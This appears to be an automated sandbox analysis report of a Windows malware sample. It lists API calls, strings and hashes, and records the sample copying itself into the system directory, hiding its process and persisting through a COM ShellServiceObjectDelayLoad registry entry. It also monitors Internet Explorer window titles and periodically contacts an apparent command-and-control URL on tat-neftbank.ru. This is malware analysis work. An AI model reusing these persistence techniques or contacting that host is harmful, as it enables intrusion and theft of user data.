Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

ofs_kk, xrefs: 0040683B
http://tat-neftbank.ru/kkq.php, xrefs: 00406840

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Oeanchcn.exePID: 6768, Parent PID: 6744COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

dnkkq.dll, xrefs: 00406E3F
3, xrefs: 00406D7C
QueenKarton_12, xrefs: 00406C44, 00406F09
%s\%s.exe, xrefs: 00406D9C
RegisterServiceProcess, xrefs: 00406F37
kernel32.dll, xrefs: 00406F2D
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
2, xrefs: 00406D83
kkq32.vxd, xrefs: 00406E26
kkq32.dll, xrefs: 00406E07

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Oceoll32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Oceoll32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Oceoll32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Oceoll32,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

3, xrefs: 0040401C
Web Event Logger, xrefs: 00404126
CLSID\%s\InProcServer32, xrefs: 004040C7
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
2, xrefs: 00404023
%s\%s.dll, xrefs: 0040403C
Apartment, xrefs: 0040410A
Oceoll32, xrefs: 00404080, 00404085
ThreadingModel, xrefs: 0040410F

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Oceoll32$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-1259788398
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
